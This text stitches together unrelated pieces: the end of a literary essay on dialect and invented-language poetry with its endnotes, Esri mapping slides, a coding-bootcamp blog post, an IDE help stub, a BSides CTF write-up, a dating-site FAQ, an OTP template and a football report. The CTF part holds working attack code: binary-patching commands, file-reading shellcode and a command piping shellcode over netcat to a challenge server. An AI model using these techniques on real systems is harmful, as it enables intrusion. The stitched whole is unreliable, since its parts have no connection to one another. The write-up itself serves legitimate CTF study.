The closest thing I can think of to Tolson's dazzling mix of citations and refutations, discourse as concourse, is Zukofsky's collage poems, from "Poem Beginning 'The'" to "A." I think the Creole co-ed may even be a kissing cousin to Zukofsky's "A Foin Lass" in his translation into Brooklynese of "Donna mi Prega," "A Foin Lass Bodders." Zukofsky's use of slang is not, to be sure, an instance of cultural identification, and Zukofsky's sense of his Jewishness reflected the ambivalence of many leftists of his generation. He had, after all, chosen not to write in his native tongue, or at least the language of his parents, Yiddish, specifically choosing not to join with his differently radical contemporaries who wrote Yiddish poetry as an assertion of what could well be called Jewish nation language. But Zukofsky's ear was tuned to the local and the vernacular, and even as he transforms the demotic into his own brand of ideolect the origin in the ordinary is patent.
When de Certeau writes of the practice of the wig as "an ordinary art," he provides a reminder that dialect and ideolect practices are practices of the ordinary, and in this way linked to other demotic literary practices; but also that the ordinary grounds itself in provisional constructions, not natural facts. The ordinary eludes fixed forms of representation; it can be evoked, not captured. For the ordinary captured becomes merely captions on a vanished object, an evacuated site for the residual rubbernecking of exhausted passers-by. The poetic practice of the ordinary is synthetic and synthesizing, not essentializing. Verse dialect, like any representation of speech in writing, is always a form of invention.
One of the extraordinary things about the poetics of the ordinary is that it can make poems that look so strange. Any approach to the ordinary is partial because the ordinary, like materiality itself, is inexhaustible. The poetics of the ordinary can set its sights on a series of aspects--on meter, on diction, on theme, on lexicon. Poetic attention to any one of these aspects may make a poem that will seem alien to those accustomed to different literary conventions. Transcribed speech, for example, may seem more unnatural than the idealized conventions for representing speech. Dialect, because it uses a nonstandard lexicon, can look as odd as the zaum or neologistic poems of Velimer Khlebnikov or David Melnick or Gillespie or P. Inman, even to the native speaker of the represented idiom. The ordinary erodes and resists the standard, and yet standard English and normative verse forms exoticize and defamiliarize the ordinary. There can be no completely ordinary poetry because there can be no poetry without style or form. "We fling ourselves, constantly longing, on this form." 34
Very little has been written about the ideolectical writing of Abraham Lincoln Gillespie. Gillespie's pervasively neologistic work bears some resemblance to Finnegans Wake; certainly, Gillespie knew Joyce. Unlike Joyce, Gillespie was not interested in maximizing the etymological resonances of words but in creating a kind of scat writing, with jazz as a significant influence. American identity, along with "Self" expression, is certainly under erasure, or more likely actively being erased, in "Expatracination" (out from fatherland and race/roots), Gillespie's response to a 1928 transition questionnaire on Americans living in Europe:
the Spiritual Future of America is not to evolve till a present diabetes is admit > removed, t'wit: America's total lack of parent-sagacity to exprimply an especially-while-correcting them goodwill toward, and to cull an early admiration from the children . . . THEN--the American Spirit will commence-sing as naive-direct-elimgoalpursue-clearly as its present FolkMelod--"PopularSong," frequently as blare-OutréFruct-freely as its dynaSaxophoneyc. . . . (i. e. Fair, groove-compulsed into an inevitaBanter-Fair--we are a Good Will-Collective--will assume social sensitude, a BodyClap-RazzCourtly deft-joice-skew-Apply-akin (somehow) to the finesse of France's Golden period. . . . Semitised Russia will certainly psychYap doubly, its individuentsremainingscorn-evadedDefeatists, speaking their present flapdoodleNonDigninholdLiable'd rushout-heedless-O-Self!-stuff. 35
If dialect poetry seems to foster group identification, ideolect poetry may seem to foster the opposite: a rejection or troubling of identity structures, be they group or individual. Yet the rejection of received ideas of identity can also be understood as the continuation of the politics of identity by other means. The poetics of identity cannot be symmetrical for the subaltern and for that which it is subaltern to. For every poetics of cultural legitimation might not there also need to be a poetics of delegitimation?, as in, Please move over; or else we fall in the "groove-compulsed . . . Banter" of America as (we are not) "Good Will-Collective." This passage from Gillespie reminds me of nothing so much as one of Bruce Andrews's "dynaSaxophoneyc" riffs of invented slang in I Don't Have Any Paper So Shut Up (or, Social Romanticism), which, like Gillespie's work, approaches the vernacular question from the other end of the stick, i. e., none too pretty out there. The evisceration of a preassigned cultural identity, as in Andrews (son, like Gillespie, of affluent white America), is also a form of identity politics.
Khlebnikov's zaum, or transense poetry, was made to transcend the divisions of national languages; he wanted to write an ideolect that all could understand. Zaum's desire for universality is marked by its high coefficient of weirdness, which is to say its abiding and enchanting peculiarity. At another subdivision of this spectrum, David Melnick's homophonic, and therefore ideolectical, translation of Homer, Men in Aida, may first be read for the sheer pleasure of its sonic plenitude; but after a while the playful signification of both a gay and poetic "sub"culture, an erotic and writerly community, is unmistakable:
Ache I on a rope alone, guy guard on a wreck, day oh say sting.
Hose cape pee, oh tit, toes on echo sat. O Phoibos Apollo . . .
Egg are oh yummy.
Argue on, critic. All high pay, then tie Achaioi. 36
No more a poet of the Americas than Bunting or MacDiarmid, Javant Biarujia, an Australian poet, has embarked on the most systematically and literally idiolectical poetry of which I am aware. Over the past twenty-five years, since he was a teenager, Biarujia has been working with an invented language that he calls Taneraic; he also edits an (in effect) poetry magazine, taboo jadoo, dedicated to "the discussion and expression of private language (langue close)," which is in the process of publishing an extensive Taneraic-English dictionary: 37
MEPA. 1. present (n.). 2. being in the process of. 3. in (often with gerund). A mepa xirardi celini armin. A is wearing a beautiful shirt. Vadas ibescya mepa avi bouain. I failed in my attempt. Anqaudi rasra ilir mepa virda. There's no point [in] waiting.
mepaceti. nowadays
mepadesqesati. this morning
mepadesqovati. this evening; tonight
mepadesusati. this afternoon
mepaiveti. today
mepajabeti. up-to-date; modern
mepanintati. for the night; tonight
mepa yu. whereas
mepeili. in every place: everywhere
MEPIR. imagination. mepirdi. imagine. mepiri. imaginary. mepirocya. imagination; fantasy; hallucination. mepirsya. fancy . . .
mepir rin. delusion. das mepir rindi. delude
mepir tane. vision
mepir troutou. fancy
mepir uza. vision, foresight. das mepir uzadi. envision; visualize, envisage
MEQA. sexual prowess or potency. 38
This is from a dream recorded in Biarujia's diary:
Mepadesqesati, vamahusatta ye trahemoqá e Abdeleslam. . . . Ayoi vasyenda, tusqeriaru yole bayada e tusqer yoca, busai go ayoi vajesda vaireubda yole ayoi qussada. Vasezoqda gon. . . . Oubqendiyo. Amahusatta, busai sezoqiaru duvondi aiban desqes. 39
As dialect becomes vernacular, as the demotic is traded for ideolect, we may hear a complication or evasion or erasure of identity more than a celebration of it: an exploration of the space between identities more than the establishment of a primary identity. Then again, perhaps what we hear is a writing that goes beyond the present definitions and inscriptions of collective and individual identifications, and toward a virtual or coming identity about which these confusions and comminglings--call them confabulations--hint, as if such writing leaves room for readers' multifoliate projections.
I am conscious that an ideolectical poetry, insofar as it may dismantle whatever self or group identities we may have already developed, risks making us more atomized and so more passive. In this state of "postmodern" paranoia, all collective formations--real or imagined--are ironized or aestheticized, that is, debunked as arbitrary codes, with fashion and market ascendant as the arbiters of value. If social identities are to be made problematic as part of the poetic process, this may be in order to forge new collective identities that will enable a more resourceful resistance to rigidly territorializing clannishness and paralyzingly depoliticizing codicity.
The problem is how to be resistant to the reductiveness of all forms of positivism without succumbing to the relativistic erosions of market value that transform poetry from an arena for social exploration or expression to an empty marker of "subjectivity" in designated Free Trade Zones (to which both poet and reader are subject). That is, to presume a realm of social truths against the one truth of technorationality and its schizoid doubles, triumphalist capitalism and religious fundamentalism.
William Blake remains the greatest emblem of this "Mental t" 40 in the English poetry traditions and Blake's active, oppositional Imagination--"Image Nations"--is a vital source for a poetics of the Americas.
The point is not to display imagination but to mobilize imaginations.
But how can we mobilize imaginations, those imaginary nations, when, for the most part, "imagination" and "subjectivity" have become house pets of the personal lifestyle industry, cousins to a "creativity" that seems to apply more to earrings than to hearing? This is no doubt Adorno's fear in questioning the historical role of lyric poetry in the wake of a systematic extermination process that shows up all our means of representation as thin, palely inadequate to the realities at hand. 41
For most conventional verse practices, like many other forms of cultural production, are more the products of an ideological system than of any putative author. As a result, they can be read as cultural symptoms rather than as the inspired and original works of an autonomous author. However, the current movement of cultural studies risks leveling all art to the status of symptom. For poetry can, even if it often doesn't, resist absorption into the zeitgeist. No artist can remain entirely free from collaboration with the society in which she or he works--history is too consuming for that--but relative degrees of resistance are possible. Art can provide a means by which to read culture, cognitive maps if you will. New forms provide new methods of critique.
Surely, the subjectivized, gutted lyric that dominates poetry today proves Adorno's point. Nonetheless, from this same historical point of view, I would say that poetry is the most necessary form of language practice after the wars: but a different poetry than we have known. The task of creating this poetry is impossible and for that reason takes place.
Charles Bernstein's books include Dark City and A Poetics . He is a founder of the Electronic Poetry Center (http://wings.buffalo.edu/epc) and teaches in the Poetics Program at SUNY-Buffalo, where he is David Gray Professor of Poetry and Letters.
This essay is forthcoming in "An Area of Act": Race and Readings in American Poetry, ed. Aldon L. Nielsen (Urbana: University of Illinois Press, in press). An initial version of the essay was prompted in part by a panel on the "Poetics of Americas" organized by Ernesto Grosman and presented at New York University in March 1994. Much of the material in it was presented in a series of seminars at the Poetics Program at SUNY-Buffalo; I am indebted to many of the participants for their comments. Thanks also to Nick Lawrence.
1. Jorge Santiago Perednik, "The Politics of Cultural Resistance andAutonomy" (paper presented to the Poetics Program at SUNY-Buffalo, 17 March 1994); hereafter abbreviated "PCR."
2. A XUL reader, edited by Ernesto Grosman, is forthcoming fromRoof books.
3. Stanley Cavell, This New Yet Unapproachable America(Albuquerque: Living Batch Press, 1989).
4. Peter Quartermain, letter to author, 17 May 1994.
5. Peter Nicholls, Modernisms: A Literary Guide (Berkeley:University of California Press, 1995), 200.
6. Ibid., 202.
7. For related discussion of the multiplicitous chartings of Americanidentity in Lyn Hejinian, Haryette Mullen, and Theresa Hak Kyung Cha, situated in the context of a reading of Stein and Emily Dickinson, see Julianna Spahr, "Re Letter and Read Her: The Reader-Centered Text in American Literature" (Ph.D. diss., SUNY-Buffalo, 1995).
8. See Peter Quartermain, Disjunctive Poetics (New York: CambridgeUniversity Press, 1992), 9-15.
9. Tony Crowley, Standard English and the Politics of Language(Urbana: University of Illinois Press, 1989), 9-10. Crowley's citation of Bakhtin is from The Dialogic Imagination, trans. Caryl Emerson and Michael Holquist (Austin: University of Texas Press, 1981), 271.
10. A new and important exception is Michael North's The Dialect ofModernism: Race, Language, and Twentieth-Century Literature (New York: Oxford University Press, 1994). North contrasts the mimicry of black dialect by white modernists and the skepticism of some African American poets toward dialect:
Linguistic imitation and racial masquerade are so important to transatlantic modernism because they allow the writer to play at self-fashioning. Jazz means freedom to Jakie Rabinowitz [the Jolson character in The Jazz Singer] partly because it is fast and rhythmically unrestrained but also because it is not ancestrally his. . . . For African-American poets of this generation, however, dialect is a "chain." In the version created by the white minstrel tradition, it is a constant reminder of the literal unfreedom of slavery . . . [11].
This reflects, in part, the view of James Weldon Johnson, who in his preface to God's Trombones: Seven Negro Sermons in Verse (1927; New York: Penguin, 1990) underscores that dialect verse is a "limited instrument . . . with but two complete stops, pathos and humor" .
North goes on to scrutinize dialect and "primitivist" elements in such modernists as Eliot, Stein, Williams, and Mina Loy, which he sees not as forging a new poetics of the Americas but as trapped in a racist ventriloquism. Indeed, North suggests that "white interest in African-American language and culture was, if anything, more dangerous than indifference" --a conclusion that is sucked into the very vicious circles that North's book sets out to critique.
11. See Robin Blaser, The Holy Forest (Toronto: Coach House, 1993).
12. Edward Kamau Brathwaite, History of the Voice: The Development ofNation Language in Anglophone Caribbean Poetry (London: New Beacon Books, 1984), 13; hereafter abbreviated HV. This essay is reprinted, without the extensive bibliography, in Brathwaite's collection Roots (Ann Arbor: University of Michigan Press, 1993).
13. "The new English that each uses is inescapably itself, a shade aliento the ear and at the same time a shade more 'authentically' English, because it departs from the koine, standard English, even though it is comprehensible in an ordinary English context and to an ordinary English ear (whatever ordinary means there--one used to [hear] 'standard' I suppose, but that concept has been decaying for the last forty or so years I think). You'll have noted that I'm saying nothing about what sort of syntax that is, but I do think it cultivates turbulence and roughness to the ear and tongue because the smooth and the graceful and the beautiful . . . are not only 'southron' but also 'literary,' gesturing lazily as they do to a pitifully limited concept of what constitutes the sublime. Like Mina Loy, they cultivate 'gracelessness' (but then one has to define 'grace,' no?) and might indeed be said to share with her the project which says 'I do not write poetry'--if what the centre produces is poetry, then they want none of it, reaching to another definition of sense and discourse, derived from dialect/ideolect speech, and from prose." (Peter Quartermain, letter to the author, 18 March 1995)
14. Louise Bennett, "Bans O' Killing," Jamaica Labrish (Kingston,Jamaica: Sangster's Book Stores, 1966), 209-10. Bennett, a popular performer in Jamaica, was born in 1919.
15. Michael Smith, It a Come (San Francisco: City Lights, 1989),50. Smith, who was born in Kingston in 1954, was killed in 1983. "Dub" poets were known for performing their work over dubbed reggae backgrounds.
16. Linton Kwesi Johnson, "Fite Dem Back," Inglan Is a Bitch(London: Race Today Publications, 1980), 20.
17. Johnson, "Sonny's Lettah," Inglan Is a Bitch, 7-9.
18. John Agard, "Listen Mr Oxford Don," The New British Poetry, ed.Gillian Allnutt et al. (London: Palladin, 1988), 5. It is significant that this poem opens the anthology as well as the section of black poets, which includes Johnson, as well as several other poets working with dialect (or nation language)--Valerie Bloom, Jean Binta Breeze, Merle Collins, Grace Nichols, Levi Tafari. Mottram's and Edwards's sections in the anthology specifically chart poets working in the wake of Bunting and MacDiarmid. Thus, at least in Britain, the two streams I navigate in this essay are brought into close proximity.
19. Brathwaite, quoted in J. Edward Chamberlin, Come Back to Me MyLanguage (Urbana: University of Illinois Press, 1993), 67. In the U. S. the explicitly political dimension of these issues emerges in the English First movement as well as in confrontations over the use of black English.
20. On the poetics of limping, staggering, stuttering, and stammering, seeNathaniel Mackey, "Sound and Sentiment, Sound and Symbol," in The Politics of Poetic Form: Poetry and Public Policy, ed. Charles Bernstein (New York: Roof Books, 1990).
21. Neil Schmitz, Of Huck and Alice: Humorous Writing in AmericanLiterature (Minneapolis: University of Minnesota Press, 1983), 97.
22. See North's "Quashie to Buccra: The Linguistic Expatriation of ClaudeMcKay," in The Dialect of Modernism, which begins with a discussion of McKay's dialect poetry.
23. See Houston A. Baker, Jr., Modernism and the Harlem Renaissance(Chicago: University of Chicago Press, 1987), 21-22, 31-32, 37, 49, and 85-86.
24. See ibid., 77; see also 49-52.
25. See ibid., 51, 93.
26. Peter Quartermain notes that Bunting had read Capital. Despitehis often stated antipathy to Marx "as economist and call it historian--it's the Hegelian side of Marx, the notion of that historical dialectic which will inevitably (or not) bring about historical change, the withering away of the state. . . . Bunting had great sympathy for Marx as social critic, as let's say 'humanist,' and was especially taken with [his] diagnoses of the conditions of the working (and unemployed) poor." (Peter Quartermain, letter to author, 18 March 1995)
27. According to McKay in his autobiography, Jekyll "became myintellectual and literary mentor and encouraged me to continue writing verses in Negro dialect." Jekyll "had gone among the peasants and collected their Field-and-Yard songs (words and music) and African folk tales and published them in a book called Jamaica Song and Story [1907]." Jekyll "became interested when he first saw my verses--enthusiastic really--and said they sounded like the articulate consciousness of the peasants" (Claude McKay, A Long Way from Home [New York: Harcourt, Brace and World, 1970], 13).
28. Michel de Certeau, The Practice of Everyday Life, trans. StevenRendall (Berkeley: University of California Press, 1984), 24; hereafter abbreviated P.
29. Aldon Lynn Nielsen, Reading Race: White American Poets and theRacial Discourse in the Twentieth Century (Athens: University of Georgia Press, 1988), 16, 16, and 18, respectively.
30. Claude McKay, "Old England," Songs of Jamaica, reprinted inThe Dialect Poetry of Claude McKay (Freeport, N. Y.: Books for Libraries Press, 1972), 63-64; hereafter abbreviated DP.
31. McKay, A Long Way from Home, 12.
32. Lorenzo Thomas points to the significance of James Weldon Johnson'sGod's Trombones as "an attempt to distinguish an authentic African-American vernacular from dialect stereotypes using Modernist poetic form" (Lorenzo Thomas, review of The Hammers of Creation: Folk Culture in African-American Fiction, by Eric J. Sundquist, American Book Review [March-May 1995]: 4). I am grateful to Thomas's discussion of Johnson (Poetics Program lecture on Melvin Tolson at SUNY-Buffalo, 14 November 1991).
33. Melvin Tolson, "XI," Harlem Gallery: Book I, The Curator (NewYork: Twayne Publishers, 1965), 82-83.
34. Wallace Stevens, "An Ordinary Evening in New Haven," CollectedPoems (New York: Alfred A. Knopf, 1978), 470.
35. Abraham Lincoln Gillespie, "Expatracination," in The SyntacticRevolution, ed. Richard Milazzo (New York: Out of London Press, 1980), 17-18. Gillespie was born in Philadelphia in 1895; he died in 1950.
36. David Melnick, Men in Aida, Book One (Berkeley: Tuumba, 1983)n. p.
37. Javant Biarujia, Nainougacyou Tanerai Sasescya Sepou E - Na:Taneraic-English Dictionary E - Na, taboo jadoo 6 (summer 1992-93): n. p.
38. Ibid., 94.
39. Biarujia provides the text and translation in an offprint identifiedas from Vehicle 3 : n. p.: "This morning I awoke from a nightmare about Abdeleslam. . . . I ran to him, moving in slow motion, and when I reached him I cried out that I loved him. I cried. . . . I kissed him. I woke up, and spent breakfast in tears."
In a letter responding to a draft of this essay, and correcting a few typos I had made in his Taneraic, Biarujia says he has translated the word "ideolectical" into a Taneraic paraphrase: "aspelasi remou abaq sancyab e sava mamale (lit., nonrative thought-basis-way and personal-speech)" (Javant Biarujia, letter to author, 23 May 1995).
40. William Blake, preface to Milton, in The Poetry and Prose ofWilliam Blake, ed. David Erdman (Garden City: Doubleday, 1965), 95.
41. See Theodor W. Adorno, "Cultural Criticism and Society," in hisPrisms, trans. Samuel and Shierry Webber (Cambridge, Mass.: MIT Press, 1981), 34.
.


Collaboration
Jay Fowler
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### Collaboration: Sharing * [Click Here](https://maps.wakegov.com/arcgis/rest/services/Property/Parcels/MapServer/)
### Enabling Everyone
### [Let's take a Look!](https://cltportal.esri.com/portal/home/) 311 Layer Search
### Collaboration: Sharing
- For Easy Distribution - Distributed Collaboration
### Collaboration: Engaging
- For working groups - Enterprise Sites / Hub - Groups
### Case Study: [Hilton Head Island, SC](img/img/HHI.pdf) --- ### Case Study: [Wake County NC](https://maps.wakegov.com/parklocator/app/#!/whiteoakpark)
### [Let's take a Look!](https://jf-department-page-ourcityc.hub.arcgis.com/)
### Collaboration: Storytelling
- *New* StoryMaps! - Simple mapmaking - Stylish and modern - Narrative with strong sense of place and spatial relationships
### Case Study
* [Oak Hill Hub](https://gis-cityoh.opendata.arcgis.com/pages/city-council) * [Oak Hill Council StoryMap](https://cityoh.maps.arcgis.com/apps/MapSeries/index.html?appid=a8b2eebe8c70420c874a6be3cc00950b)
### [Let's take a Look!](https://storymaps.arcgis.com/stories/c87bc0a59c0144008e25d50a5dd1b192) ### [Let's take a Look 2!](https://storymaps.arcgis.com/stories/dfe13d997d9b4741b83572858adcef78?adumkts=product&aduc=email&adum=list&utm_Source=email&aduca=mi_arcgis_storymaps_adoption&aduco=getting_started&adut=577312_Jul2019&adulb=marketing_sales&adusn=multiple&aduat=storymap&adupt=community&sf_id=701f2000001C5C8AAK&aducp=newsletter_column_right_01)
### Collaboration: Soliciting Input - [Crowdsourcing and Public Commenting](https://www.arcgis.com/apps/CrowdsourceReporter/index.html?appid=f3fc3656a7ec40309e30c535e63f8554) - [Review Processes](https://www.arcgis.com/apps/CrowdsourceManager/index.html?appid=1179379804ef41bf994d7c5ddb8e3928) - [Work requests](https://www.arcgis.com/apps/Cascade/index.html?appid=bc726c8f50f94d429c736151ff769d4f)
### Collaboration: Finding people, places, assets, work - Indoors - Tracker
### In sum: How Esri can help Collaborative Capabilities - Sharing - Engaging - Storytelling - Soliciting input - Wayfinding (People, places, work)
AND your Esri account team!


One month ago, 24 of us walked into the glass double doors on our floor in LivingSocial HQ. We didn’t know each other, and while some people had done a fair amount of work in Ruby, Rails, and other programming languages, some of us were complete beginners. What a difference a month makes!
 We have fantastic speakers coming in each week, giving us the ins and outs of what they are working on and how they do what they do (And we’ll try to keep up on posting about some of them so you all can enjoy too!). Sometimes the conversations are internal to LivingSocial and the tools they use, but more often they are peeks into the larger world of Ruby and Rails – the world that we already seem to be a part of.
We’ve worked on three major projects so far, all of them in Ruby. It’s amazing when we pause and look back at what we’ve done, especially for those of us who weren’t programmers at the start. Concepts that seemed impossible at the beginning of March now make sense. We built an event manager to do extract, translate, and load processes. We built an EventReporter that extended those concepts. And then we built a relational ‘database’ essentially from scratch – setting us up for the next project on our plate.
Coming at us hard and fast: Rails. Our first project is a doozy: building the creatively dubbed ‘StoreEngine’. It’s got a list of products. It’s got a shopping cart. It’s got administrators and users. It’s got transactions. Authentication. Authorization. As one of us put it, “It’s a big project – but when it’s done we’ll have a very good idea of what Rails does”. So if you have a friend in Hungry Academy, don’t be surprised when they dig in and turn down invitations to go play for a few weeks. And if you’re following along, get ready. This one is fun.
One month down. Four to go!


(This topic describes controls. For information on how to work with inspections, refer to Code inspections.)
Configs the inspections with their severities and scopes in Project Level or IDE level.
Modified inspections are highlighted in blue.


In my short life, I've seen security conferences move from "hide the speed, quick!" to "Security professionals discuss shifting circumstances in information assurance policy".
At no other hacker conference is it clearer than at BSides that the racous parties and threats of e-violence have been replaced with hushed tones and artifical lighting.
Still, because of the conference's stature in the Bay Area, many of the intelligensia of the San Francisco haqr scene undoubtedly will make an appearance. Lots of drinks were handed out, door security was lax and the hallway track was as alive as any other similarly sized conference.
I lost interest in the talks fairly quickly, but a friend invited me to play the CTF and I was immediately impressed. The Bsides crew managed to avoid many of the lame consecutive challenge formats and structural deficits that have made other CTFs tiresome. A large number of challenges tackling very diverse subjects. No one group (even 'professional' CTF teams) managed to secure an answer to every challenge.
Because so many of these challenges don't have their answers published by their organizers after the event is settled, it's up to the community to put together 'writeups' of the techniques employed in solving these.
Here's a few of those.
The NOP instruction is microcode for xchg EAX, EAX
This challenge doesn't include the flag in a string because it's spread out over multiple packets. You can easily extract the flag by 'following' a TCP stream in your network packet capture software of choice.
This challenge doesn't require you to perform any reverse engineering as the the flag is visible as a direct .symstrtab entry.
zv@syszv >> strings easy-64 | grep -i flag FLAG:db2f62a36a018bce28e46d976e3f9864
In this challenge I'm going to use one of the best disassemblers available today: radare . It is both free and contains many facilities for modifying the binary in various ways (without plugins). (You could also solve this challenge with a debugger very easily)
cp tmp/skipper64 /tmp/skipper64-backup # a backup in case you fubar the binary r2 /tmp/skipper64
Next, seek the read head to the main symbol and tap V
key to bring yourself
into disassembly.
[0x004026d1]> s main
0x004026d1 push rbp 0x004026d2 mov rbp, rsp 0x004026d5 sub rsp, 0x420 0x004026dc mov dword [rbp - 0x414], edi 0x004026e2 mov qword [rbp - 0x420], rsi 0x004026e9 mov rax, qword fs:[0x28] ; [0x28:8]=0x3200 ; '(' 0x004026f2 mov qword [rbp - 8], rax 0x004026f6 xor eax, eax 0x004026f8 lea rax, [rbp - 0x410] 0x004026ff mov rdi, rax 0x00402702 call 0x400b3e ;[1] 0x00402707 lea rax, [rbp - 0x410] 0x0040270e mov rsi, rax 0x00402711 mov edi, str.Computer_name:__s_n ; "Computer name: %s." @ 0x402987 0x00402716 mov eax, 0 0x0040271b call sym.imp.printf ;[2] 0x00402720 lea rax, [rbp - 0x410] 0x00402727 mov esi, str.hax0rz__ ; "hax0rz!~" @ 0x40299a 0x0040272c mov rdi, rax 0x0040272f call sym.imp.strcmp ;[3] 0x00402734 test eax, eax ┌─< 0x00402736 je 0x40275b ;[4] │ 0x00402738 lea rax, [rbp - 0x410] │ 0x0040273f mov rsi, rax │ 0x00402742 mov edi, str.Sorry ; "Sorry, your computer's name - %s - is not correct!." @ 0x4029a8 │ 0x00402747 mov eax, 0 │ 0x0040274c call sym.imp.printf ;[2] │ 0x00402751 mov edi, 9 │ 0x00402756 call sym.imp.raise ;[5] └─> 0x0040275b lea rax, [rbp - 0x410] 0x00402762 mov rdi, rax 0x00402765 call 0x400c4a ;[6] 0x0040276a lea rax, [rbp - 0x410] 0x00402771 mov rsi, rax 0x00402774 mov edi, str.OS_version:__s_n ; "OS version: %s." @ 0x4029dc 0x00402779 mov eax, 0 0x0040277e call sym.imp.printf ;[2] 0x00402783 lea rax, [rbp - 0x410] 0x0040278a mov esi, str.2.4.31 ; "2.4.31" @ 0x4029ec 0x0040278f mov rdi, rax 0x00402792 call sym.imp.strcmp ;[3] 0x00402797 test eax, eax ┌─< 0x00402799 je 0x4027e3 ;[7] │ 0x0040279b lea rax, [rbp - 0x410] │ 0x004027a2 mov rsi, rax │ 0x004027a5 mov edi, str.Sorry__your_OS_version____s___is_not_supported__n
You can see here that several functions are being called and compared against builtin strings like hax0r!~. The context gives you an idea that it's checking the hostname, but let's be sure.
[0x004026d1]> s 0x400b3e [0x00400b67]> pd 10 @ +64 0x00400ba7 mov edi, 1 0x00400bac call sym.imp.exit 0x00400bb1 mov ecx, 0 0x00400bb6 mov edx, 0x40291f ; "-n" 0x00400bbb mov esi, str.uname ; "uname" @ 0x402922 0x00400bc0 mov edi, str.uname ; "uname" @ 0x402922 0x00400bc5 mov eax, 0 0x00400bca call sym.imp.execlp 0x00400bcf call sym.imp.__errno_location 0x00400bd4 mov eax, dword [rax]
You can see it's calling uname here. Before you start changing your system's configuration to accommodate, first know it's not possible to set your hostname to this value.
This means you are going to either have to use a debugger and manually change the ZF, CF, OF or other condition flags or patch up all of the je instructions.
[0x00400b67]> oo+ # This makes the binary writable [0x00400b67]> wao jmp @ 0x00402736 [0x00400b67]> wao jmp @ 0x00402799 ...
After this, run the binary and get the flag! FLAG:f51579e9ca38ba87d71539a9992887ff
Both of the easyshell puzzles are warmups who run any shellcode sent on the wire. However, you can't use some of the most common shellcode for spawning /bin/sh as there is no remote shell. This shellcode reads the file /home/ctf/flag.txt
Compile with nasm -f bin flag.asm
BITS 64 section .text _start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx jmp read one: pop rbx mov al,0x5 xor ecx,ecx int 0x80 mov esi,eax jmp read exit: mov al,0x1 xor ebx,ebx int 0x80 read: mov ebx,esi mov al,0x3 sub esp,0x1 lea ecx,[rsp] mov dl,0x1 int 0x80 xor ebx,ebx cmp ebx,eax je exit mov al,0x4 mov bl,0x1 mov d int 0x80 add esp,0x1 jmp read two: call one string: db "/home/ctf/flag.txt"
Like the prior challenge, you simply just need to write some code to read out a file. I used the following.
BITS 64 section .text _start: jmp _push_filename _readfile: ; syscall open file pop rdi ; pop path value xor rax, rax add al, 2 xor rsi, rsi ; set O_RDONLY flag syscall ; syscall read file sub sp, 0xfff lea rsi, [rsp] mov rdi, rax xor rdx, rdx mov dx, 0xfff; size to read xor rax, rax syscall ; syscall write to stdout xor rdi, rdi add dil, 1 ; set stdout fd = 1 mov rdx, rax xor rax, rax add al, 1 syscall ; syscall exit xor rax, rax add al, 60 syscall _push_filename: call _readfile path: db "/home/ctf/flag.txt"
This is a challenge designed to mimic the common constraints exploit authors must deal with.
The premise of the challenge is that you get to execute 5 arbitrary bytes - far shorter than even the shortest shellcode could allow for.
There's undoubtedly dozens of ways the problem can be solved, I've successfully used two:
Beginning at 0x80487ef, the core code runs:
call 80486db <get_flag> ;; where the 'flag' is gotten add esp,0x10 lea eax,[ebp-0x8c] mov esi,eax mov ebx,0x1 sub esp,0x8 lea eax,[ebp-0x8c] push eax push 0x8048946 call 8048500 <printf@plt> add esp,0x10 sub esp,0xc push 0x8048964 call 8048550 <puts@plt> add esp,0x10 sub esp,0x4 push 0x5 push DWORD PTR [ebp-0x94] push 0x0 call 80484f0 <read@plt> ;; where `read` is called add esp,0x10 mov DWORD PTR [ebp-0x90],eax mov edx,0xff cmp DWORD PTR [ebp-0x90],0x5 ja 804885c <main+0x10c> jmp DWORD PTR [ebp-0x94] ;; here is where it finally jumps in
The last line is where this jmp to attacker-controlled memory actually occurs.
Although the above code snippet doesn't show it directly, it's also important
to note that the address of the flag read remains stored in ESI when the jmp
[ebp-0x94]
occurs.
In tandem with the fact that read returns the length of the value read in EAX, you can abuse this by entering a system-call. (Remember, Linux calling convention dictates that x86 system call's interrupt vector is given in EAX)
So, in total you need to write shellcode that is only 4 bytes long (rather than the maximum permitted of 6), you can have the interrupt vector 'prefilled' for you. This leaves you with only two tasks:
There are a number of ways to do the above and due to the idiosyncracies of how assemblers are written and how opcodes are decoded, it's possible to write many different variations of an instruction that vary wildly in length. Anything that moves the contents of ESI into ECX will do.
After this, you need to initiate a system call, you can use either sysenter or int 0x80 as both are encoded in 2 bytes.
All told, the following shellcode should do just fine.
mov cx, si int 0x80
I use and recommend Netwide Assembler, although there are other tools like Ragg2. To generate assembly without any sort of executable format, you can use the following argument switches to assemble and hexdump your shellcode:
nasm -f bin assembly.asm && xxd assembly
After this, you can encode it in whichever format you'd like and send it off!
[zv@syszv] /tmp >> echo -en '\x89\xf1\xcd\x80' | \ nc i-am-the-shortest-6d15ba72.ctf.bsidessf.net 8890 The address of 'flag' is 0xfff3bd5c Send your machine code now! Max length = 5 bytes. FLAG:c9f053110aa0f2d28ed8978e3b03cb01 v7`v`v7`vyy`v`vp7x%
This is a little trickier, you need to abuse at least two different tricks here.


We went out of our way to add the cheese. Don't take it too seriously.
A couple of computer science and psychology students who had too much time on their hands and terrible taste in memes. Most of these were compiled with some actual thought behind what makes two people compatible, though.
We added the fun feature of uploading your picture so that potential matches could see you before they decide to 'take the plunge' and ask you on a date. We also added more free-form general questions (what is your ideal date?) etc. and new ways for you to pay.
Only as much as you care about ours.
If you have ANY problems, questions, concerns, or future improvements PLEASE email us at<EMAIL_ADDRESS>or send us a direct message on instagram @bisonmatch. We would love to hear from you.
ACM stands for Association for Computing Machinery. To learn more about ACM click here.
Can you send us any funny/ interesting dates that come out of this? We LOVE reading your responses and will put up any interesting ones (with names blurred out) on our instagram, or tag us in your posts @bisonmatch. Don't forget to add #bisonmatch!
All proceeds will go to raising funds for LU's ACM student chapter.
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@(username: String, otp: String, expiresIn: Int)(implicit messages: Messages)
Hey! @username
Your otp is @otp. It would expire in @expiresIn seconds.


SUPER JOHN
Steve Clarke hopes John McGinn’s scoring can continue to fire Scotland to Euro 2020
by Robert GrieveSTEVE CLARKE hopes John McGinn can continue his incredible scoring streak and fire Scotland to Euro 2020.
The Aston Villa star scored twice in the win over Kazakhstan.
That took his tally to seven goals in his last six international appearances and boss Clarke has tipped him to be a main man in the play-offs in March.
He said: “John’s on a fantastic run of form.
“He has been great for Aston Villa for the last couple of seasons and he is starting to bring it onto the international stage.
“It’s very important to remember he is still in the early stages of his international career.
“The more games you play at this level, the better you become. The more experience you get, the better the team will become.
“When you’ve got any player in goalscoring form that’s good for any team.
